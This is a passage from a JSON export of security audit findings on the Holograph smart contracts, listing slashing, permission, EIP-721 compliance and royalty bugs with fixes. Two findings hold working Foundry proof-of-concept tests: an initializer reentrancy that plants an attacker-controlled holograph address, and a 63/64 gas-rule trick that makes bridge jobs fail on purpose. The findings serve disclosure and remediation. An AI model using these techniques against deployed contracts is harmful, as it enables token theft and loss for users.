Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/333", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/330", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/329", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/328", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/327", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/326", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/324", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Bond tokens (HLG) can get permanently stuck in operator", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/322", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L374-L382 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L849-L857 # Vulnerability details ## Impact Bond tokens (HLG) equal to the slash amount will get permanently stuck in the HolographOperator each time a job gets executed by someone who is not an (fallback-)operator. ## Proof of Concept The `HolographOperator.executeJob` function can be executed by anyone after a certain passage of time: ```js ... if (job.operator != address(0)) { ... if (job.operator != msg.sender) { //perform time and gas price check if (timeDifference < 6) { // check msg.sender == correct fallback operator } // slash primary operator uint256 amount = _getBaseBondAmount(pod); _bondedAmounts[job.operator] -= amount; _bondedAmounts[msg.sender] += amount; //determine if primary operator retains his job if (_bondedAmounts[job.operator] >= amount) { ... } else { ... } } } // execute the job ``` In case `if (timeDifference < 6) {` gets skipped, the slashed amount will be assigned to the `msg.sender` regardless if that sender is currently an operator or not. The problem lies within the fact that if `msg.sender` is not already an operator at the time of executing the job, he cannot become one after, to retrieve the reward he got for slashing the primary operator. This is because the function `HolographOperator.bondUtilityToken` requires `_bondedAmounts` to be 0 prior to bonding and hence becoming an operator: ```js require(_bondedOperators[operator] == 0 && _bondedAmounts[operator] == 0, \"HOLOGRAPH: operator is bonded\"); ``` ## Tools Used Manual Review ## Recommended Mitigation Steps Assuming that it is intentional that non-operators can execute jobs (which could make sense, so that a user could finish a bridging process on his own, if none of the operators are doing it): remove the requirement that `_bondedAmounts` need to be 0 prior to bonding and becoming an operator so that non-operators can get access to the slashing reward by unbonding after. Alternatively (possibly preferrable), just add a method to withdraw any `_bondedAmounts` of non-operators."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/316", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/315", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/314", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/313", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "selected-for-report", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/311", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/308", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Wrong slashing calculation rewards for operator that did not do his job", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/307", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L374-L382 # Vulnerability details ## Impact Wrong slashing calculation may create unfair punishment for operators that accidentally forgot to execute their job. ## Proof of Concept [Docs](https://docs.holograph.xyz/holograph-protocol/operator-network-specification): If an operator acts maliciously, a percentage of their bonded HLG will get slashed. Misbehavior includes (i) downtime, (ii) double-signing transactions, and (iii) abusing transaction speeds. 50% of the slashed HLG will be rewarded to the next operator to execute the transaction, and the remaining 50% will be burned or returned to the Treasury. The docs also include a guide for the number of slashes and the percentage of bond slashed. However, in the contract, there is no slashing of percentage fees. Rather, the whole _getBaseBondAmount() fee is [slashed from the job.operator instead.](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L374-L382) ``` uint256 amount = _getBaseBondAmount(pod); /** * @dev select operator that failed to do the job, is slashed the pod base fee */ _bondedAmounts[job.operator] -= amount; /** * @dev the slashed amount is sent to current operator */ _bondedAmounts[msg.sender] += amount; ``` Documentation states that only a portion should be slashed and the number of slashes should be noted down. ## Tools Used Manual Review ## Recommended Mitigation Steps Implement the correct percentage of slashing and include a mapping to note down the number of slashes that an operator has"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/301", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/300", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/299", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/298", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Source contract can steal NFTs from users", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/290", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC721.sol#L500 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC721.sol#L577 # Vulnerability details ## Impact A source contract can burn and transfer NFTs of users without their permission. ## Proof of Concept Every Holographed ERC721 collection is paired with a source contract, which is the user created contract that's extended by the Holographed ERC721 contract ([HolographFactory.sol#L234-L246](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographFactory.sol#L234-L246)). A source contract, however, has excessive privileges in the Holographed ERC721. Specifically, it can burn and transfer users' NFTs without their approval ([HolographERC721.sol#L500](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC721.sol#L500), [HolographERC721.sol#L577](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC721.sol#L577)): ```solidity function sourceBurn(uint256 tokenId) external onlySource { address wallet = _tokenOwner[tokenId]; _burn(wallet, tokenId); } function sourceTransfer(address to, uint256 tokenId) external onlySource { address wallet = _tokenOwner[tokenId]; _transferFrom(wallet, to, tokenId); } ``` While this might be desirable for extensibility and flexibility, this puts users at the risk of being robbed by the source contract owner or a hacker who hacked the source contract owner's key. ## Tools Used Manual review ## Recommended Mitigation Steps Consider removing the `sourceBurn` and `sourceTransfer` functions of `HolographERC721` and requiring user approval to transfer or burn their tokens (`burn` and `safeTransferFrom` can be called by a source contract instead of `sourceBurn` and `sourceTransfer`)."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/285", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/278", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/272", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/271", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "ApprovalAll event is missing parameters", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/270", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/src/enforcer/HolographERC721.sol#L392 # Vulnerability details ## Impact beforeApprovalAll() / afterApprovalAll() can only pass \"to\" and \"approved\", missing \"owner\", if contract listening to this event,but does not know who approve it, so can not react to this event Basically, this event cannot be used ## Proof of Concept ``` function setApprovalForAll(address to, bool approved) external { .... if (_isEventRegistered(HolographERC721Event.beforeApprovalAll)) { require(SourceERC721().beforeApprovalAll(to, approved)); /***** only to/approved ,need owner } _operatorApprovals[msg.sender][to] = approved; if (_isEventRegistered(HolographERC721Event.afterApprovalAll)) { require(SourceERC721().afterApprovalAll(to, approved)); /***** only to/approved ,need owner } } ``` ## Tools Used ## Recommended Mitigation Steps add parameter: owner ``` interface HolographedERC721 { ... - function beforeApprovalAll(address _to, bool _approved) external returns (bool success); + function beforeApprovalAll(address owner, address _to, bool _approved) external returns (bool success); - function afterApprovalAll(address _to, bool _approved) external returns (bool success); + function afterApprovalAll(address owner, address _to, bool _approved) external returns (bool success); ``` ``` function setApprovalForAll(address to, bool approved) external { if (_isEventRegistered(HolographERC721Event.beforeApprovalAll)) { - require(SourceERC721().beforeApprovalAll(to, approved)); + require(SourceERC721().beforeApprovalAll(msg.sender,to, approved)); } _operatorApprovals[msg.sender][to] = approved; if (_isEventRegistered(HolographERC721Event.afterApprovalAll)) { - require(SourceERC721().afterApprovalAll(to, approved)); + require(SourceERC721().afterApprovalAll(msg.sender,to, approved)); } } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/267", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/258", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/226", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Holographable tokens can be reinitialized", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/215", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/Holographer.sol#L147-L169 # Vulnerability details When new holographable tokens are created, they typically set a state variable that holds the address of the holograph contract. When creation is done through the `HolographFactory`, the holograph contract is [passed in as a parameter](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographFactory.sol#L252) to the holographable contract's initializer function. Under normal circumstances, this would ensure that the hologrpahable asset stores a trusted holograph contract address in its `_holographSlot`. However, the initializer is vulnerable to reentrancy and the `_holographSlot` can be set to an untrusted contract address. This occurs because before the initialization is complete, the Holographer makes a [delegate call](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/Holographer.sol#L162-L164) to a corresponding enforcer contract. From here, the enforcer contract makes an [optional call](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC20.sol#L241) to the source contract in an attempt to intialize it. This call can be used to reenter into the Holographer contract's initialize function before the first one has been completed and overwrite key variables such as the `_adminslot`, the `_holographSlot` and the `_sourceContractSlot`. One way in which this becomes problematic is because of how holographed ERC20s perform `transferFrom` calls. Holographed ERC20s by default allow two special addresses to [transfer](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC20.sol#L527) assets on behalf of other users without an allowance. These addresses are calculated by calling `_holograph().getBridge()` and `_holograph().getOperator()` respectively. With the above described reentrancy issue, `_holograph().getBridge()` and `_holograph().getOperator()` can return arbitrary addresses. This means that newly created holographed ERC20 tokens can be prone to unauthorized transfers. These assets will have been deployed by the HolographFactory and may look and feel like a safe holographable token to users but they can come with a built-in rugpull vector. ## Proof of Concept: ``` // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import \"forge-std/Test.sol\"; import \"../contracts/HolographFactory.sol\"; import \"../contracts/HolographRegistry.sol\"; import \"../contracts/Holograph.sol\"; import \"../contracts/enforcer/HolographERC20.sol\"; //Contract used to show reentrancy in initializer contract SourceContract { address public holographer; MockContract public mc; constructor() { mc = new MockContract(); } //function that reenters the holographer and sets this contract as the new holograph slot function init(bytes memory initPayload) external returns(bytes4) { assembly { sstore(holographer.slot, caller()) } bytes memory initCode = abi.encode(abi.encode(uint32(1), address(this), bytes32(\"0xabc\"), address(this)), bytes(\"0x0\")); holographer.call(abi.encodeWithSignature(\"init(bytes)\", initCode)); return InitializableInterface.init.selector; } function getRegistry() external view returns (address) { return address(this); } function getReservedContractTypeAddress(bytes32 contractType) external view returns (address) { return address(mc); } function isTheHolograph() external pure returns (bool) { return true; } } //simple extension contract to return easily during reinitialization contract MockContract { constructor() {} function init(bytes memory initPayload) external pure returns(bytes4) { return InitializableInterface.init.selector; } } contract HolographTest is Test { DeploymentConfig public config; Verification public verifiedSignature; HolographFactory public hf; HolographRegistry public hr; Holograph public h; HolographERC20 public he20; uint256 internal userPrivateKey; address internal hrAdmin; mapping(uint256 => bool) public _burnedTokens; address internal user; function setUp() public { //Creating all of the required objects hf = new HolographFactory(); hr = new HolographRegistry(); h = new Holograph(); he20 = new HolographERC20(); //Setting up the registry admin hrAdmin = vm.addr(100); //Creating factory, holograph, and registry init payloads bytes memory hfInitPayload = abi.encode(address(h), address(hr)); hf.init(hfInitPayload); bytes memory hInitPayload = abi.encode(uint32(0),address(1),address(hf),address(1),address(1),address(hr),address(1),address(1)); h.init(hInitPayload); bytes32[] memory reservedTypes = new bytes32[](1); reservedTypes[0] = \"0xabc\"; bytes memory hrInitPayload = abi.encode(address(h), reservedTypes); //Setting up a contract type address for the ERC20 enforcer vm.startPrank(hrAdmin, hrAdmin); hr.init(hrInitPayload); hr.setContractTypeAddress(reservedTypes[0], address(he20)); vm.stopPrank(); //Keys used to sign transaction for deployment userPrivateKey = 0x1337; user = vm.addr(userPrivateKey); } function testDeployShadyHolographer() public { //setting up the configuration, contract type is not important config.contractType = \"0xabc\"; config.chainType = 1; config.salt = \"0x12345\"; config.byteCode = type(SourceContract).creationCode; bytes memory initCode = \"0x123\"; //giving our token some semi-realistic metadata config.initCode = abi.encode(\"HToken\", \"HT\", uint8(18), uint256(0), \"HTdomainSeparator\", \"HTdomainVersion\", false, initCode); //creating the hash for our user to sign bytes32 hash = keccak256( abi.encodePacked( config.contractType, config.chainType, config.salt, keccak256(config.byteCode), keccak256(config.initCode), user )); //signing the hash and creating the verified signature (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, hash); verifiedSignature.r = r; verifiedSignature.v = v; verifiedSignature.s = s; //deploying our new source contract and holographable contract pair hf.deployHolographableContract(config, verifiedSignature, user); //after the reentrancy has affected the initialization, we grab the holographer address from the registry address payable newHolographAsset = payable(hr.getHolographedHashAddress(hash)); //verify that the _holographSlot in the holographer contract points to our SourceContract and not the trusted holograph contract assertEq(SourceContract(Holographer(newHolographAsset).getHolograph()).isTheHolograph(), true); } } ``` ## Recommended Mitigation Steps Consider checking whether the contract is in an \"initializing\" phase such as is done in OpenZeppelin's [`Initializable`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/a1948250ab8c441f6d327a65754cb20d2b1b4554/contracts/proxy/utils/Initializable.sol#L83) library to prevent reentrancy during initialization. Additionally, if the bridge and operators are not intended to transfer tokens directly, consider removing the logic that allows them to bypass the allowance requirements. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "HolographERC721.approve not EIP-721 compliant", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/205", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/24bc4d8dfeb6e4328d2c6291d20553b1d3eff00b/src/enforcer/HolographERC721.sol#L272 # Vulnerability details ## Impact According to EIP-721, we have for `approve`: ```solidity /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. ``` An operator in the context of EIP-721 is someone who was approved via `setApprovalForAll`: ```solidity /// @notice Enable or disable approval for a third party (\"operator\") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; ``` Besides operators, there are also approved addresses for a token (for which `approve` is used). However, approved addresses can only transfer the token, see for instance the `safeTransferFrom` description: ```solidity /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. ``` `HolographERC721` does not distinguish between authorized operators and approved addresses when it comes to the `approve` function. Because `_isApproved(msg.sender, tokenId)` is used there, an approved address can approve another address, which is a violation of the EIP (only authorized operators should be able to do so). ## Proof Of Concept Bob calls `approve` to approve Alice on token ID 42 (that is owned by Bob). One week later, Bob sees that a malicious address was approved for his token ID 42 (e.g., because Alice got phished) and stole his token. Bob wonders how this is possible, because Alice should not have the permission to approve other addresses. However, becaue `HolographERC721` did not follow EIP-721, it was possible. ## Recommended Mitigation Steps Follow the EIP, i.e. do not allow approved addresses to approve other addresses."}, {"title": "HolographERC721.safeTransferFrom not compliant with EIP-721", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/203", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/24bc4d8dfeb6e4328d2c6291d20553b1d3eff00b/src/enforcer/HolographERC721.sol#L366 # Vulnerability details ## Impact According to EIP-721, we have the following for `safeTransferFrom`: ```solidity /// (...) When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`. ``` According to the specification, the function must therefore always call `onERC721Received`, not only when it has determined via ERC-165 that the contract provides this function. Note that in the EIP, the provided interface for `ERC721TokenReceiver` does not mention ERC-165. For the token itself, we have: `interface ERC721 /* is ERC165 */ {` However, for the receiver, the provided interface there is just: `interface ERC721TokenReceiver {` This leads to failed transfers when they should not fail, because many receivers will just implement the `onERC721Received` function (which is sufficient according to the EIP), and not `supportsInterface` for ERC-165 support. ## Proof Of Concept Let's say a receiver just implements the `IERC721Receiver` from OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol Like the provided interface in the EIP itself, this interface does not derive from EIP-165. All of these receivers (which are most receivers in practice) will not be able to receive those tokens, because the `require` statement (that checks for ERC-165 support) reverts. ## Recommended Mitigation Steps Remove the ERC-165 check in the `require` statement (like OpenZeppelin does: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L436)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "PA1D#bidSharesForToken returns incorrect bidShares.creator.value", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/180", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/PA1D.sol#L665-L675 # Vulnerability details ## Impact bidShares returned are incorrect leading to incorrect royalties ## Proof of Concept [Zora Market](https://etherscan.io/address/0xe5bfab544eca83849c53464f85b7164375bdaac1#code#F1#L113) function isValidBidShares(BidShares memory bidShares) public pure override returns (bool) { return bidShares.creator.value.add(bidShares.owner.value).add( bidShares.prevOwner.value ) == uint256(100).mul(Decimal.BASE); } Above you can see the Zora market lines that validate bidShares, which shows that Zora market bidShare.values should be percentages written out to 18 decimals. However PA1D#bidSharesForToken sets the bidShares.creator.value to the raw basis points set by the owner, which is many order of magnitudes different than expected. ## Tools Used Manual Review ## Recommended Mitigation Steps To return the proper value, basis points returned need to be adjusted. Convert from basis points to percentage by dividing by 10 ** 2 (100) then scale to 18 decimals. The final result it to multiple the basis point by 10 ** (18 - 2) or 10 ** 16: function bidSharesForToken(uint256 tokenId) public view returns (ZoraBidShares memory bidShares) { // this information is outside of the scope of our bidShares.prevOwner.value = 0; bidShares.owner.value = 0; if (_getReceiver(tokenId) == address(0)) { - bidShares.creator.value = _getDefaultBp(); + bidShares.creator.value = _getDefaultBp() * (10 ** 16); } else { - bidShares.creator.value = _getBp(tokenId); + bidShares.creator.value = _getBp(tokenId) * (10 ** 16); } return bidShares; }"}, {"title": "It's possible to mint more then type(uint256).max ERC20 tokens", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/177", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor acknowledged", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "It's possible to mint more then type(uint256).max ERC20 tokens"}, {"title": "Gas limit check is inaccurate, leading to an operator being able to fail a job intentionally ", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/176", "labels": ["bug", "3 (High Risk)", "disagree with severity", "primary issue", "resolved", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/src/HolographOperator.sol#L316 # Vulnerability details There's a check at line 316 that verifies that there's enough gas left to execute the `HolographBridge.bridgeInRequest()` with the `gasLimit` set by the user, however the actual amount of gas left during the call is less than that (mainly due to the 1/64 rule, see below). An attacker can use that gap to fail the job while still having the `executeJob()` function complete. ## Impact The owner of the bridged token would loose access to the token since the job failed. ## Proof of Concept Besides using a few units of gas between the check and the actual call, there's also a rule that only 63/64 of the remaining gas would be dedicated to an (external) function call. Since there are 2 external function calls done (`nonRevertingBridgeCall()` and the actual call to the bridge) ~2/64 of the gas isn't sent to the bridge call and can be used after the bridge call runs out of gas. The following PoC shows that if the amount of gas left before the call is at least 1 million then the execution can continue after the bridge call fails: ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import \"forge-std/Test.sol\"; contract ContractTest is Test { event FailedOperatorJob(bytes32 jobHash); uint256 private _inboundMessageCounter; mapping(bytes32 => bool) private _failedJobs; constructor(){ _inboundMessageCounter = 5; } function testGas64() public { this.entryPoint{gas:1000000}(); } Bridge bridge = new Bridge(); event GasLeftAfterFail(uint left); function entryPoint() public { console2.log(\"Gas left before call: \", gasleft()); bytes32 hash = 0x987744358512a04274ccfb3d9649da3c116cd6b19c535e633ef8529a80cb06a0; try this.intermediate(){ }catch{ // check out how much gas is left after the call to the bridge failed console2.log(\"Gas left after failure: \", gasleft()); // simulate operations done after failure _failedJobs[hash] = true; emit FailedOperatorJob(hash); } ++_inboundMessageCounter; console2.log(\"Gas left at end: \", gasleft()); } function intermediate() public{ bridge.bridgeCall(); } } contract Bridge{ event Done(uint gasLeft); uint256[] myArr; function bridgeCall() public { for(uint i =1; i <= 100; i++){ myArr.push(i); } // this line would never be reached, we'll be out of gas beforehand emit Done(gasleft()); } } ``` Output of PoC: ``` Gas left before call: 999772 Gas left after failure: 30672 Gas left at end: 1628 ``` Side note: due to some bug in forge `_inboundMessageCounter` would be considered warm even though it's not necessarily the case. However in a real world scenario we can warm it up if the selected operator is a contract and we'er using another operator contract to execute a job in the same tx beforehand. Reference for the 1/64 rule - [EIP-150](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md). Also check out [evm.codes](https://www.evm.codes/#f1?fork=grayGlacier:~:text=From%20the%20Tangerine%20Whistle%20fork%2C%20gas%20is%20capped%20at%20all%20but%20one%2064th%20(remaining_gas%20/%2064)%20of%20the%20remaining%20gas%20of%20the%20current%20context.%20If%20a%20call%20tries%20to%20send%20more%2C%20the%20gas%20is%20changed%20to%20match%20the%20maximum%20allowed.). ## Recommended Mitigation Steps Modify the required amount of gas left to gasLimit + any amount of gas spent before reaching the `call()`, then multiply it by 32/30 to mitigate the 1/64 rule (+ some margin of safety maybe)."}, {"title": "Beaming job might freeze on dest chain under some conditions, leading to owner loosing (temporarily) access to token", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/170", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "edited-by-warden", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/src/HolographOperator.sol#L255 # Vulnerability details ## Impact If the following conditions have been met: * The selected operator 